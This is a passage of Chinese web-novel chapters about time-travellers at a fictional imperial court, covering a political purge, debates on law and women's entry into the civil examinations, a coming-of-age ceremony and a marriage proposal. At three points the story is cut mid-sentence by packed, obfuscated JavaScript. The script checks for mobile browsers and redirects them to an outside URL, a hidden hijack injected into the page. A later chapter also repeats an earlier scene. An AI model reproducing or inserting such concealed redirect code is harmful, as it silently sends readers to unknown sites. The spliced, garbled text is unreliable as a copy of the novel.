“景和元年,我的兄长赵诘为何只烧了霓裳馆,其他什么都不动?你们以为,他忌惮的是什么?” 赵玥缓缓转身,目光凌厉如刃:“皇家丑闻,历朝历代皆是致命隐患。一旦揭破,便成天下口实,朝局动荡,群臣离心,诸侯割据,百姓揭竿而起,外敌乘虚而入,稍有不慎,便是内乱四起,边关失守,天下大乱。” 叶斯年放下药碗,神色不动:“所以长公主殿下不在乎天下乱不乱。” 赵玥轻笑出声:“两朝官家纵容玄月司,如今更是刻意避开太子所有眼线。这天下,还不够乱吗?” 她杀意隐隐:“这些人雇佣私兵,意图在湖心岛围杀太子,罪证确凿——所有主犯,皆已伏诛。” 屋内骤然一片死寂。 赵玥缓步走到门口,回头看了叶斯年一眼,似笑非笑:“我已经让赵渊赶回长安了,叶瑾年还是个孩子,下不了手的。” 她推开门,夜风卷入,烛火摇曳。叶斯年微微缩了缩身子,拢紧被子。 赵玥站在门口:“当年官家登基,是我们的长兄为他挡住了腥风血雨。如今,赵渊也想这样为你。” 她似笑非笑地扫了赵煜一眼,话锋一转:“可惜,韩婉不答应啊。” “你们这一路好好养伤,等回到瑶京,我们再商议一番——这朝堂上的空缺,该如何补上。长生楼的那些人,你们看着办吧。” 赵玥的脚步声渐远,最后一句话轻飘飘地落下,意味深长—— “太子这个位置,不好坐。太子妃,也一样。” 屋内死寂一片。窗外惨叫声渐息,只剩火星炸裂的爆响,在夜色中回荡。赵煜的指节微微泛白,拳头握紧又松开,胸中怒意翻涌,却无处发作。 赵玥的冷酷让他不寒而栗,可他却找不到任何反驳的理由——这些人确实该死,他方才厮杀的时候也下了死手。若不趁此机会清理,等他们回到瑶京,或许就真的落地为安。可即便如此,他仍觉得胸口堵得慌。 “你用了多久才接受这个世界的秩序?”叶斯年的声音打破沉寂。 赵煜微微一怔,抬眸看向她。 她半倚在床头,脸色仍显苍白,烛光映在她眼底,深沉得看不出情绪。 赵煜没有回答。 他刚来这个世界时,谢家满门抄斩。他用了很久,才勉强学会这里的生存法则,可他始终适应不了。他曾天真地以为,自己终有一日能推翻这个封建体系,让所有人都能活得更好。可叶斯年先前那番话却让他意识到,他所谓的“改革”,只是将另一套社会秩序生搬硬套过来,连因地制宜都做不到。 他低笑了一声,端起另一个药碗:“把安神茶喝了,睡觉吧。” 叶斯年没再多问,一饮而尽。 赵煜倚着床沿,看着她沉沉睡去。他知道,她总归是要面对这个问题的。 43.归舟 天色微亮,外头已是一片喧嚣,空气中仍弥漫着泥土与血腥交杂的气息,提醒着众人这一战的代价。 叶斯年睁开眼,感到伤口隐隐作痛,带着些许灼烧感,但已不复昨夜撕裂般的剧痛。青枝进来,轻手轻脚地扶她坐起,替她将衣襟系好。 刚梳理好衣襟,便听见院中传来熟悉的声音—— “郡主醒了?倒是赶上了。” 叶斯年抬眸望去,竟是花梧。 许久未见,如今的花梧已是一身戎装,身披轻甲,腰间佩刀,英姿飒爽,眉眼间尽是凌厉果决。她快步进屋,上下打量着叶斯年,见她气色尚可,这才微微松了口气。 “叶太尉送来密信,让我暂领前锋,点兵赶赴润州。” 花梧沉声道:“昨夜行至青阳县江段,发现沿途有不少私兵活动,便派了哨兵进城探查。果然,城中一片混乱。” 叶斯年眉心微蹙:“你发现了什么?” 花梧神色凝重,目光深沉:“拦下不少逃兵,其中有玄月司的余孽趁乱逃亡,也有权贵携金银细软,试图乘船潜逃。” 她顿了顿,眉头微蹙:“但江面上的势力,比预想的更复杂。我原以为是玄月司残党,可其中一些人行事诡秘,手段干脆利落,兵器制式也极为统一,绝非寻常私兵。” 她微微侧头,看向叶斯年,语气低沉:“我抓了几个审问,但他们宁死不招,甚至有人直接咬舌自尽。” 赵玥昨夜雷霆手段,必然已逼得不少人铤而走险。而韩婉提及的“青冥堂”,至今仍未露面…… 正思索间,苏廷章与赵煜到门口了。 两人神色皆显疲惫,显然一夜未眠。 “郡主醒了?” 苏廷章拱手,语气温和,“昨夜听闻军医已到,便未曾打扰,伤势如何?” “安置得如何?” 赵煜揉了揉眉心:“被救出的五百余人,暂时安置在青阳县城内。” 苏廷章接着道:“但昨夜已有不少人寻了短见,有的自行投江,有的被同伴拖着一同坠水。” 叶斯年眉头微拧,沉思片刻后侧过身,朝赵煜道:“殿下,这边请。” 两人走至偏廊,夜色未褪,天际泛起一抹浅白,四周残留的血腥味让叶斯年一阵反胃。 她微微侧身:“这些人,不能带走,也不能留在青阳县,原地散了。” 赵煜皱眉,眼神微沉:“嗯,我也是这个想法。” 叶斯年点头,语气冷静:“昨夜江面已经乱作一团,就算长公主不动手,那些人也活不到瑶京。长生楼里救出来的人也是,聚在一起就是个活靶子。” 赵煜低头沉思,手指无意识地敲击着腰间的佩玉,半晌才道:“可这群人里,还有许多年幼的孩子,若就这样散去,他们根本无处可去。” 他顿了顿,神色认真:“我会设法将他们安置到附近的育婴堂。” 叶斯年望着他,沉吟片刻,忽然缓缓开口:“昨夜,司命身边有五个伶人模样的小孩。” 赵煜微微一怔,尚未察觉异样:“什么意思?” “玄月司的司命是穿越者,我怀疑他在这些孩子中推行某种选拔机制。”叶斯年语气沉静,眸色微沉,“如果真是这样,这群孩子的认知早已被重塑。” “也就是说,他们当中有些人,未必会将玄月司视作罪恶,反而极可能已经对玄月司存有某种忠诚。”赵煜也反应过来了。 “他们的成长环境决定了他们的思维方式。我们以为救了他们,但他们可能会认为是我们杀了他们的少司命。” 她顿了顿:“若玄月司对他们长期灌输教义,洗脑训练,那这些孩子,便会是最狂热的信徒。” 赵煜呼吸一滞,半晌后才缓缓开口:“你的意思是……” “留个后手吧。”叶斯年的目光越发幽深,“那几个孩子让我有种不安的感觉。” 赵煜沉默许久,揉了揉眉心:“毕竟年纪还小,我会安排育婴堂的人仔细看管。这些女子就更难安置了。” 叶斯年微微颔首:“她们大多没有生存手段,可以的话,给她们一些银两,赌坊应该搜出来很多金银,让段风也帮着寻条生路。” 她垂下眼眸,语气平静却带着一丝冷意:“至于散出去之后会不会反噬我们……听天由命吧。” 青枝与卫珩随赵渊前往长安府,这边众人乘船回瑶京。 江上晨雾未散,船行得极稳,甲板上偶有士兵走动的脚步声,除此之外,四周一片沉静。 叶斯年倚靠在船舱内的软榻上,身上覆着薄薄的锦被,闭目养神。她的伤势恢复得还算不错,至少比预想中的要好些,但大夫叮嘱她不可大幅动作,以免扯裂伤口。一路上,她都在休息,其他人也未曾打扰。 韩婉偶尔会来探望,也不多话,仅仅站在一旁看上一会儿。她这些日子一直忙碌于甲板上的军务,显然已经是赵玥的幕僚。叶斯年对此并不意外。 这天下午,韩婉终于不再沉默,推门而入,径直坐到叶斯年床边。 “郡主恢复得怎么样?”她语气淡淡。 叶斯年静静看着她,等她继续说下去。 韩婉垂眸:“郡主怪我吗?” 叶斯年没有立刻回答,只是撑着坐起身,望向窗外的江面,思索片刻,才缓缓开口:“韩婉,你不该从头到尾都瞒着我。” “这些人罪大恶极,死不足惜,但他们应该接受公正的审判,而不是被私刑处决。法律的存在,不是因为恶人值得宽恕,而是为了限制权力的恣意妄为。” 她转头看向韩婉,语气沉冷:“长公主殿下的做法,是绕开律法,以私刑代替司法,这是在破坏秩序。而法律的存在,是为了维护秩序,约束权力,尤其是皇家的权力!” “若今天你们能用‘罪有应得’的理由私下处置这些人,明天,便可以用相同的借口除掉任何挡路之人。你们以为是在清除隐患,但最大的隐患是当权者不受约束,随意践踏法律。” 韩婉闻言,忽然笑了:“我劝过殿下,她说当年也有人拦过她。” 叶斯年心头微震,隐约猜到了答案。 “当年你母亲拦住长公主,”韩婉语气平静得可怕,“说,律法不可逾越。” “可结果呢?长公主没有动手,但差点把太子折进去,谢家,照样满门被屠。” 屋内一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶斯年若有所思地看着他,忽然问:“那我能取一个字吗?” 赵煜轻笑:“自然可以,回京后让叶太尉给你补办一个及笄礼,再取字。之后……”他顿了顿,目光意味深长,“就该准备接婚书了。” 他眼底带着几分期待,可叶斯年却没有接话,而是望向宴席上的众人,怔怔地出神。 “你说,他们这么早成婚做什么?身体都还没发育好。”她喃喃道。 赵煜脸一红,抬手敲了她一下:“你想什么呢!” 赵煜被她一句话弄得满脸通红,叶斯年却没有笑,目光扫过船上的众人——赵玥、韩婉、赵煜、苏廷章、花梧…… 太子党、二皇子党、长公主党…… 如今,他们仍能围坐一堂,共饮一席,可日后呢?是否终有一日,他们不得不站在对立面? 赵渊对赵煜的维护,如今看来是兄长之义,可若皇位之争再无回旋余地呢? 她叹了口气,端起茶盏,轻抿一口。苦涩入喉,回甘却迟迟未至。 44.尾声 自玄月司覆灭,李家势力彻底退出朝堂,九寺五监空缺近半,刑部侍郎李谟德和大理寺卿杨应昭在长安府落网,尚书令李谟远、右仆射杨显甫请辞,朝局震荡,群臣惶恐。权力的重新洗牌已是无可避免的事。 城中百姓望着花月阁人去楼空,议论纷纷,却未曾察觉,更大的风暴正席卷京中。 茶楼雅间内,赵煜执着茶杯,眉头微蹙:“你要我在朝堂上提女子科考?你以为官家是什么性子,会由着我胡来?这件事我支持你,但现在提,未免太过激进。当下最紧要的,是稳住朝局,推行法制,而不是去挑战整个社会结构。” 叶斯年并不意外,指尖轻轻拨弄茶盏,语气平静:“你若要推行法制,就必须考虑如何实现公平,否则你的‘法制’充其量只是让专制集权更加理性化,最终保障的仍然是统治阶级的权力。” 她抬眸看向赵煜:“男女平等若能推进哪怕一点,便等于将法制的进程向前推了几百年。在皇权专制的父权社会,这块石子投进去,必然会激起千层浪,我们这一生都无法实现。但相比你直接用法制去撼动权贵阶级的特权,女子入仕、参与科考算什么,那些老顽固最多也就是跳脚骂几句‘抛头露面、有伤风化’。说呗,能走到这一步的女性,早就看穿这些枷锁不过是虚张声势。” 赵煜微微一怔,随即举起大拇指:“妙啊!” 她抬眼看向赵煜,目光沉静如水:“这次玄月司清剿,韩婉、杨明煊、叶瑾年皆立下大功,官家一一嘉奖。但更重要的是——朝中空了一个右仆射,以目前局势来看,韩韫之极有可能上位。” 赵煜若有所思:“官家本就曾有意让韩婉入仕。如今朝局动荡,若在此刻提女子科考,朝臣定然群起而攻。但若是推韩婉……” 叶斯年接过话:“那就不一样了。” 她端起茶盏,轻轻旋转,语调平缓:“你先行两步,再退一步。韩婉功勋卓著,长公主又刻意将功劳推给她,而她照单全收,说明她们也有此意。如今权力洗牌,她又是韩韫之之女,赵渊肯定毫无保留地支持她,官家之前本来也有此想法,那些反对女子入仕的老臣,至少不会拿她开刀。” 赵煜轻笑,意味不明地看着她:“你算盘倒是打得精细。” “那你呢?”他随手晃了晃茶杯,语气慵懒,“就没什么打算?” 叶斯年耸耸肩,语气理所当然:“我?我算什么东西,让我去科考还是去朝堂上打辩论?我既不会写文章,也不擅长吵架。” 赵煜嗤笑:“行吧,你说怎么办就怎么办。不过你这一推韩婉,我那姑母怕是要怀疑我跟她抢人了。”他慢条斯理地叹了口气,语调懒洋洋的,“好怕怕哦。” 叶斯年斜了他一眼,毫不客气道:“长公主想与你争皇位这事儿,你才察觉?” “皇位归属的事,我本就没有执念。” 他轻轻转着茶杯:“她要,那便让她争去。若她真能走到那一步,我甚至会推她一把,见证一位女帝的诞生。” “这个世界的历史上,可还没出过女帝呢。只要她不对我们下死手,就好。” 叶斯年闻言,轻轻一笑:“既如此,那就把局面铺开。我们只要确保良性竞争的局势便可,只要达成目的,谁上位都行。” 赵煜低低笑了一声:“你要是早点来,我也不至于走这么多弯路。” 叶斯年微微一愣,赵煜接着道:“我从前只想着在规则内改变世界,而你却是想改变规则。” 她的目光落在窗外,车马辚辚,行人熙攘,整个京城一片繁华。 “我从来没想过自己能改变这个世界。”她缓缓开口,“我想要改变女性的处境,但我能做的,也不过是推一把,让女权的进程走得快一些。撼动父权制的社会结构……千百年,无数代女性的牺牲,也未必能做到。” 赵煜看着她的侧脸,半晌未言。 他随手给她倒了一杯茶:“你想得倒是远。叶太尉这几日就该回京了,花梧怎么安排想好了吗?你再不说,官家就要把她塞进侍卫亲军司了。” 叶斯年手一顿,抬头瞥他:“抢人啊?凭什么?” 最后,花梧当然没有被抢走。叶绍回京后,直接将她提为叶家军前锋营都虞候,随军征战,成为叶家军中最年轻的统领之一,也是唯一的女将。 而瑾年和青枝则分别被安排进夜不收与幽刀营训练。 瑾年是因为在长安府受了刺激,执意求着叶绍让她进军营训练。青枝还是想留在叶斯年身边,这次风波让她意识到自己能力有限,便也跟着去训练。 叶斯年原以为两名女子入军营,必然会引起非议。然而,花梧珠玉在前,军中上下无人敢多言。瑾年和青枝便也顺利进入军营。 瑾年原本还打算去润州寻周苓。先前周苓说要留在那里,可赵煜派人四处打探,却根本找不到她的踪迹,只留下了两封信给叶斯年和叶绍,寥寥几句——她去找赵诘了。 叶绍看完信后,神色平静,似乎早有预料。两个妻子,一个女儿,全都是穿越者,他如今已是见怪不怪了。 “你这满脑子的机敏心思,不也是你娘教出来的?她既然去找赵诘,自然有她的道理,过段时日,便会回来。” 尽管如此,叶绍没有放松对周苓和赵诘的搜寻。他与赵煜在大沅各地布下人手,仔细翻查他们的踪迹。 这两位当世的穿越者,或许才是这盘棋局的关键人物。 杨明煊并未随父亲告老还乡,而是留在瑶京祖父母身边。据说,这段时间她与范思醴颇为神秘,总是在捣鼓些什么。 与此同时,朝堂之上,因为赵煜提出女子科考一事,风波骤起。正如他们所料,官家并未拒绝韩婉。 官家赵义有意破例,将韩婉直接推入翰林院,平日不必上朝,有事则召入宫中议事。如此一来,既彰显对她的认可,又能避开群臣的非议,免得此事过于激进,引发不必要的争端。 但让人意外的是,韩婉当场拒绝了。 那日,御书房中,韩婉一身青衫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890968|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,盈盈施礼。 “韩婉谢官家厚爱。”她语声温雅,字字清晰,“然韩婉以为,明天下女子之中,必有才学高于韩婉者。朝廷若真欲用才,当广开仕途,鼓励天下女子参科,而非特开先例,授一人以职。” “韩婉愿参加本次恩科,堂堂正正入仕。” 赵义沉吟片刻,竟未恼怒,而是缓缓点头,就此应允。但对于是否推广女子科考之事,却仍未松口。 翌日,茶楼。 赵煜托着腮,嘴角噙笑,意味深长地道:“她这一步,落得可真漂亮。” 叶斯年轻嗤一声,神情复杂:“不知她们谋划到何种地步,改天得找她俩谈谈。” 长生楼被救下的五百余人,最终仍是各散东西,命运各异。 其中,上百名年幼的孩子,由赵煜亲自安排,分别送往润州与长安的育婴堂抚养。特地挑选了几名学识品行皆佳的教书先生,授以四书五经、识字算术,不涉及玄月司之事,也不刻意强调他们的出身。只愿他们能如寻常孩童一般成长,将来如何,全看教化。 至于成年女子,各有选择。有人留在青阳县,或寻得家人,或仍在彷徨;也有人主动离开,试图在别处重新开始。 更多的,则被段风接手安置。愿意学习谋生之术的,被送往漕帮,习得水上生意,以求自立。 自此,一切似乎尘埃落定。 暮色四合,宁安王府灯火通明。 叶斯年坐在书案前,手中漫不经心地转着那只玻璃笔。 “官家那边,赐婚的旨意已经定下来了。”叶绍语气平静,抬手将一封信件放在桌上,“礼部正在筹备婚书,月底便会送至王府。在此之前,需得先替你补办一个及笄礼。” 叶斯年指尖微顿,片刻后却只是淡淡“哦”了一声,随口道:“瑾年也可以一起办吧?” 话音刚落,她自己却先顿住了。 古代女子的及笄礼不仅是象征成年,更意味着可以正式谈婚论嫁。瑾年年纪虽已到,可尚未定下亲事,若此刻一同举办,未免会引得世家瞩目,或许很快便会有人上门议亲。 她正沉吟着要不要收回这句话,叶绍却已淡淡开口:“周苓没这个意思。她信里说,瑾年的及笄礼等她回来再说。” 叶斯年倒也未再多问。只是听起来,周苓似乎得一年半载才能回来…… 叶绍似是想起什么,顿了顿,忽然道:“对了,清荣生前替你取了字。” 叶斯年怔了一下。 “她大概是担心,若偏离了历史轨迹,会出什么意外,所以早早给你留下了字。”叶绍沉声道。 叶斯年缓缓摩挲着信封边缘,心绪微微有些复杂。 ——明日便是及笄礼了。 夜色渐深,府中各处皆已忙碌起来。女眷们挑选衣物饰品,管家安排仪程,侍女们穿梭在庭院与内堂之间,张罗着明日的一应事宜。 正当此时,外院忽然传来一声通报道—— “周夫人回府了。” 45.焦虑 周苓回府的消息很快传遍宁安王府。叶绍亲自出迎,一开口便询问起赵诘的近况。 周苓淡淡地回答:“他不想再插手了。” 叶绍眉心微蹙,沉默片刻,又问:“那你呢?” 周苓轻轻一笑:“这不是已经回来了吗?” 叶绍瞥了她一眼,没再多问,只简短道了声“好”,随即吩咐了几句便起身离去,将书房留给叶斯年与周苓。 屋内寂静无声,只余残烛摇曳。 叶斯年沉默了片刻,终究还是开口问出了那个盘桓在心头的问题。 “你们究竟是什么人?为什么会成群结队地‘穿越’到你们的历史中?” 周苓放下茶盏,语气平淡,像是在陈述一件无关紧要的事。 “我们来自这个时代的一千年以后。我不知道其他人是怎么来的,我自己只是意外。” “那……历史上的叶斯年,究竟是个什么样的人?” 她用指腹在桌沿轻轻摩挲,没有去看周苓。 周苓正要倒茶的手腕顿了顿,最终只是淡淡地说:“你不是她,没必要执着。” “可你们所有人都在回避。” 叶斯年的语气带着一丝咄咄逼人,“山门谶语究竟是穿越者的伎俩,还是古老的预言?”她怀疑过周苓就是青冥堂背后的人。 周苓微微蹙眉,良久才缓缓开口:“这个谶语,我也是最近才听说。青冥堂的事,赵诘应该是知道的,但他不愿说。” 叶斯年咬了咬唇,声音冷下来:“那你至少告诉我,在你们的历史上,‘她’做了什么。” 周苓沉默了一会儿,目光微微飘忽,最终只是低声道:“历史是由胜利者书写的,千百年来,胜利者始终是男性。” 短短一句话,像沉重的石块砸在两人之间。 叶斯年喃喃自语,声音低得几乎听不见:“这不是我的世界。既然赵诘都放手不管了,我又能做什么?” 周苓眼底浮现出一丝难以捉摸的悲悯,声音却带着一丝讥讽:“当年,赵诘弑父杀君,之后身患重症,衰老极快。他们试图改变历史,但到头来,一切只是变得更糟。” “那我呢?” “你成为太子妃这一步,已经严重偏离历史,可你依然活得好好的。” 叶斯年却笑了:“可我已经出了一些问题。” 她低下头,目光落在自己微微颤抖的指尖,声音低得几乎听不见:“我的情感系统出了问题。” 周苓微微一愣,眉头轻蹙。 “那天,我看着长生楼里几百双恐慌的眼睛,没有怜悯,也没有震惊。我现在只有愤怒,很冰冷的愤怒。” 话音刚落,周苓手中的茶盏一颤,一声脆响在沉静的夜色中格外刺耳。她喃喃低语,仿佛在对自己说:“历史上的她……确实就是这样。” 叶斯年脑中一瞬间嗡鸣作响,心跳骤然加快。 “怎么会?” 她的声音几乎在颤抖,带着一种无法遏制的恐慌,“可斯年不是这样的人!她到底是谁?我为什么会变成这样?” 周苓抿紧唇,似乎也陷入了短暂的慌乱,但很快恢复平静:“你不是她。你是穿越者,你可以改变历史——或者至少有这个可能。” 叶斯年猛然抬头,带着压抑不住的怒火:“改变?现在是你们的历史在改变我!” “难道只要顶着‘叶斯年’这个名字,就注定要被你们的历史操控?”她几乎是在咬牙切齿地低吼。 “我初来这里时,也有过同样的困惑,甚至快忘了原先的自己。但我并不在意,因为我本就不喜欢过去的我。”周苓静静看着她,隐隐透出一种冷漠的疏离感。 叶斯年几乎被气笑了,讽刺之意毫不掩饰:“可我在意。这不是我的世界。” 她直视着周苓:“你和李清荣没有任何区别。她试图通过改变我来扭转‘历史’,你也是。你们从未真正接受过我——无论是过去的叶斯年,还是现在的我。” “我是专门研究大沅朝的历史学者。后世关于大沅的所有记载,都无法绕开‘叶斯年’这个名字。所以任何穿越者,无论是想要推动历史还是想要改变未来,最终都绕不开你。” 叶斯年嗤笑一声:“所以这是一场围绕着我进行的游戏,是吗?” 她终于明白,为什么这个世界的许多人都在向她靠拢——这不是偶然,而是历史的安排。在这些穿越者眼中,她不过是历史游戏里的关键NPC,一个用来推动历史进程的工具。 “如果我拒绝成为你们的工具呢?” 周苓静默了片刻,目光深邃而复杂:“你说得对,你没有这个义务。你可以走,躲起来。我会让瑾年替代你,她会比你更适合这个朝代。” 她顿了顿,冰冷的话字字如锤,重重砸在叶斯年的心上:“但如果你选择留下,继续走上那条路——无论你是谁,我都会亲手终结你。” 那夜,叶斯年陷入了一个漫长而诡谲的梦境。 她站在一片虚无的空间里,四周寂静无声,唯有前方悬浮着一面孤零零的镜子。 镜子里映出一个人,身着实验室的防护服,全副武装,连面部都被遮挡得严严实实。可当那人缓缓抬起头,露出面容时,叶斯年只觉得一股莫名的寒意顺着脊背蔓延开来——是她,是名为叶思楠的她。她明白,那是“斯年”。 就在这时,镜中有一群人从四面八方围拢而来,他们的眼中闪烁着兴奋的光芒。 “成功了!” “快!趁现在植入!” 叶斯年下意识地后退一步,一股强烈的不安在心头升起。 有人神色慌张地冲向一台巨大的机器,手指在控制台上飞快地操作着什么。 镜中的她没有张口,但呐喊声却如洪水般在叶斯年的脑海中炸裂开来—— “快走!活下去!” 天光昏暗,香炉袅袅,檀香在帷幔间缠绕,空气被这幽香浸润得沉滞凝重。所有声响都隔着层湿漉漉的纱,时间被拉扯得缓慢而黏腻,仿佛一切都困在一场无休无止的梦魇中。 铜镜中的自己,既熟悉又陌生。眉眼间的冷淡、下颌线的弧度,连那微微蹙起的眉心都显得无可挑剔。她在每一个细节中试图寻找破绽。 宁安王府为她简单地补办了及笄礼。礼仪朴素,不见奢华,未广邀宾客,仅有王府中人列席。礼仪官的声音在她耳边嗡嗡作响,仿佛劣质耳机里传来的噪音,刺耳得让人心烦意乱。 忽而,听得礼仪官顿了顿,声音抬高,郑重宣道:“表字——启明。” 这简短的一句话,伴着微凉的风拂过耳畔,直直撞进她的脑海。启明。多么美好的寄望。 及笄礼结束后,赵玥的贺礼送到了,紧随其后的是皇后的赏赐,韩婉和明煊也送来了心意。每一份礼物都被细心陈列在她面前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她有很多话想问他。在这个陌生又冰冷的时空里,哪怕只是听一听他的声音,似乎也能让她觉得自己真实地活着。 她需要愤怒与恐惧之外的情绪,这种持续的焦虑实在太痛苦了。 “咚,咚,咚——” 窗外忽然传来几声轻响。叶斯年几乎是不假思索地起身奔向窗边。 果然是赵煜。 他一身黑衣,正是初见那夜被她揍了两拳的那套衣服。他轻快地翻身进屋,动作一如既往地轻松随意。 发梢还滴着夜露,凌乱的发丝贴在额角,他随手解下披风,丢在一旁,嘴角带着一贯的笑意,正要开口打趣,却在目光触及叶斯年的一瞬凝住了。 她就站在那里,眼神空洞而迷茫。 赵煜的笑意僵在唇边,抬手轻轻触碰她泛红的眼眶:“你不骂我,我都有点不习惯了。” 叶斯年愣了愣,喉咙像是被什么堵住了一般,什么话都说不出来。 她终于哭了。 悄无声息的泪水,一滴接一滴,顺着她的脸颊滑落。她甚至没有意识到自己在哭,只觉得胸口积压已久的情绪终于找到了出口,长久以来紧绷的弦终于断了。 她盯着赵煜的脸——那张她曾无数次觉得聒噪、欠揍的脸。可此刻,在这个陌生而冰冷的世界里,他的存在成了她唯一的安慰。他的出现,让她终于感受到了一种除了愤怒和恐惧之外的情绪——温暖、安心,甚至是一种深埋心底的依赖。 赵煜显然没料到她会有这样的反应。他的手悬在半空,眼中闪过一丝慌乱,最终缓缓抚上她的头发,将她揽入怀中,任由她放声大哭。 46.求婚 他一身黑衣,翻身进屋,动作一如既往地轻快自如。夜露打湿了他的发梢,凌乱的发丝贴在额角。他随手解下披风丢在一旁,嘴角挂着那抹熟悉的笑意,正要开口打趣,却在目光触及叶斯年的瞬间,笑意凝固了。 她就那样站在原地,眼神空洞,像是失了魂。 赵煜的心猛地一紧,抬手屈着指尖轻蹭她泛红的眼眶,指腹下的温热像火舌般舔舐着他的心尖。他心疼得要命。 “这是怎么了?”他强撑着轻松的语气,试图缓解她的沉默,“你不骂我几句,我都觉得不习惯了。” 她张了张嘴,却半句话也说不出来。 她终于哭了。 悄无声息的泪水滑过他的指尖,一滴一滴砸在青石板上。紧绷的弦终于断裂,她整个人都溃散了。 他的手僵在半空,眼里闪过一丝慌乱和无措。但仅仅一瞬,他便抬手揉了揉她的头发。 下一刻,他用力将她揽进怀里,任由她放声大哭。 月光将青石地砖洗得雪白,两人的影子在地上交缠,像被拧成了一股麻绳。 叶斯年的抽噎渐渐平息,但她攥着赵煜衣襟的手指骨节发白,仿佛溺水者死死抓住最后一根浮木。胸口的起伏依旧剧烈,一呼一吸都带着撕扯般的痛楚。 她犹疑地抬起头,脸色还挂着未干的泪痕:“我做了个梦……我看见斯年变成了以前的我,困在一个像超级计算机的实验室里……赵煜,我是不是疯了?” 赵煜没有立刻回答,只是静静看着她,等待她把心里的话说出来。 “我的情绪……出问题了。” 她的声音带着抑制不住的颤抖,“我感知不到,只有愤怒和恐惧。好像有什么东西在推着我走,每一步都不是我自己选的。” 她的声音越来越小,像是泄了气的皮球:“我觉得这个世界是假的,像一场游戏。我害怕......”最后一句几乎淹没在泪水中。 赵煜静静抱着她,温暖的掌心贴着她的后颈,一下一下地顺着她的背。 “我明白。”他低头在她耳边轻轻地说,“我刚来的时候也是这样。很长一段时间,我像只惊弓之鸟,除了恐惧,什么情绪都没有。我们本就不是这里的人,与这个世界的一切都没有连接,像活在别人的人生里。” 叶斯年听着他平稳的声音,心里的情绪却愈发汹涌。疑虑像被搅动的泥沼,愈挣扎愈深陷。 “那现在呢?”她喃喃问,“你就不觉得……这一切都是更高维的生物在操控吗?你莫名其妙喜欢我,不也是被安排好的吗?” 她抬起头,眼中满是痛苦和挣扎。 “你不觉得厌恶吗?为了让叶斯年成为太子妃,为了让她推动历史发展……我越来越像他们历史上的叶斯年了……” 她的声音几乎要碎裂,像被无形的大手攥住了喉咙,窒息的感觉让她快要崩溃。 赵煜却忽然轻轻笑了。 “我否定过自己很多次。”他抬手整理她被泪水浸湿的发梢,轻轻拭去她脸上的泪痕,“有很长一段时间,我也觉得自己活在一个虚拟世界里,一切都是假的。” 他看进她湿润的眼眸:“直到你出现。” 她心里的愤怒与质疑呼之欲出,却在赵煜的话语中生生停滞。她无法理解,他为何能如此坚定,不去怀疑这份感情的真实性。 “喜欢你,是我活在这个世界上最真实的感受。”赵煜没有给她多余的时间思考。 “我怎么会厌恶?” 她的心像被什么东西狠狠撞击了一下。 赵煜从怀里取出一个小盒子,轻轻打开——里面静静躺着一枚简单的银戒,在月光下泛着温润的光泽。 他单膝跪地,动作略显笨拙,却透着一种难得的认真,仿佛在模仿她记忆中那些浮夸的求婚仪式。但他接下来的话,却比任何华丽的誓言都更加沉重、真实。 “和我一起活下去吧。” 他的脸上挂着一如既往温润的笑容,在月光下显得格外柔和。 “不管这个世界是真实还是虚拟的,我会和你一起活下去。” 她抿了抿唇:“赵煜……我不知道我能不能回应你。我一开始给自己定了三个原则:不能伤害叶家人,不能伤害斯年的身体,不能……不能用斯年的身体和你成为夫妻……” 她的声音低得几乎听不见,像是怕一出口,这些防线就会轰然倒塌。 赵煜忍不住笑了:“没关系。” “反正这个世界上,估计就我们俩了,我有的是时间等你。”他轻轻揉了揉她的手掌,眼神温润得像一汪春水,“就算没有爱,也没关系。我已经很高兴了。” 叶斯年听着,胸口忽然一阵发紧。那种熟悉的焦虑和恐惧如潮水般涌上心头,将她层层包裹,几乎要把她淹没。她努力想抓住什么,却像在空中扑着虚无,越是挣扎,越是无助。 “可是……我没有感觉……”她的声音开始慌乱,“我不该这样,从前不是这样的……” 她的呼吸逐渐急促,像是被一只无形的手死死攥住了胸口。她知道赵煜是她此刻唯一的依靠,她不抗拒他,甚至渴望从他身上汲取一丝温暖。可是,她的心依旧是一片空白。 几乎是下意识地,她跪下身,猛地抱住赵煜。额头抵在他的肩膀上,泪水再次悄无声息地滑落。她死死攥着他的衣襟,仿佛攥住最后一根救命稻草。 赵煜轻轻将她揽入怀中,宽大的手掌在她背上轻抚着,让自己的温度透过单薄的衣料,一点点渗进她冰冷的身体,用最真实的触感告诉她——他在这里,她并不孤单。 他能感受到她身体的颤抖,也知道她此刻的脆弱。他的心揪成一团,眼眶微微发热,但他强迫自己保持冷静。他不能和她一起沉沦在这份怀疑和恐惧里,他要陪她一起走出这片泥沼,去创造属于他们的世界。 许久,叶斯年哑着嗓子喃喃道:“我会不会……渐渐消失?” 他轻轻抚过她的发丝:“做你想做的事,你就一直是你。” 这一句话,像一滴炽热的岩浆,坠入她心底那片被冰封的深海。冰冷的情绪被一点点融化,她感到身体逐渐回暖,脑海中的混沌也慢慢清晰起来。那些压在她心头的目光——长生楼那五百双充满审视与恐惧的眼睛,母亲尖刻的指责与咒骂,历史的重负与命运的枷锁——一切都被一股无形的力量拨开。 她从那些目光中醒来,从母亲的桎梏中挣脱,从历史的旋涡中浮出水面。她终于明白,无论这个世界多么荒谬,命运多么沉重,只要她依然在做自己选择的事,她就始终是她自己。 